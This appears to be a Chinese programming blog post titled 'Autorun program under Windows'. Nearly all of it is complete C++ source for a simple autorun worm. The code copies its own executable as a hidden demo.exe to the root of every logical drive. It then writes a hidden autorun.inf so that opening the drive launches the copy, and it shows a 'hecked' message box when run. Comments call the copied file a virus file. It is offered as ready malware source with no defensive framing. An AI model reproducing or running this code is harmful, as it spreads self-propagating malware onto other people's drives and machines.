Windows下的Autorun程序

// Autorun.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include<windows.h>
#include<iostream>

using namespace std;

char *gstrAutoRun = "[autorun] \
\r\nopen=demo.exe \
\r\nshell\\open = 打开(&O)	\
\r\nshell\\open\\Command = demo.exe \
\r\nshell\\explore = 资源管理器(&X) \
\r\nshell\\explore\\Command = demo.exe \
\r\nshellexecute = demo.exe \
\r\nshell\\Auto\\Command = demo.exe";

//封装成一个函数
void Infect(char *pstrFilePath)
{
	char strDriveStrings[MAXBYTE] = { 0 };
	DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);
		//函数执行成功..返回填充完毕的缓冲区字符的的个数,不是长度
 		//一般是4的倍数...(形如C:\ 包括之后的一个空字符0)..
	DWORD dwError = 0;
	for (size_t i = 0; i < dwDriveStrLen; i+=4)
	{
	//病毒文件
		char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = {0};
		//取盘符
		strncpy(strRoot, &strDriveStrings[i], 4);
		//cout << strRoot << endl;
		strcpy(strTargetPath, strRoot);
		strcat(strTargetPath, "demo.exe");

		if (!CopyFileA(pstrFilePath, strTargetPath, false))
		{
			dwError = GetLastError();

		}
			//使用A版本
			//待拷贝文件,需要拷贝到的地方

		SetFileAttributesA(strTargetPath, FILE_ATTRIBUTE_HIDDEN);
		//隐藏文件

		//AutoRun.inf
		strcpy(strTargetPath, strRoot);
			//先把他的盘符拿过来
		strcat(strTargetPath, "autorun.inf");
		HANDLE hFile = CreateFileA(strTargetPath, GENERIC_WRITE, 0, nullptr,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN,nullptr);
			//因为我们全部用的是char*,所以用A版本
			//创建的时候就可以隐藏的创建
		DWORD dwLen = 0;
		WriteFile(hFile, gstrAutoRun, strlen(gstrAutoRun), &dwLen, nullptr);
		CloseHandle(hFile);
	}

}

int main()
{
	MessageBoxA(nullptr,"hecked","I Love hxx",MB_OK);
	char strSelfPath[MAX_PATH] = { 0 };
	GetModuleFileNameA(nullptr, strSelfPath, MAX_PATH);
		//获取当前文件的目录
	Infect(strSelfPath);

    return 0;
}

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值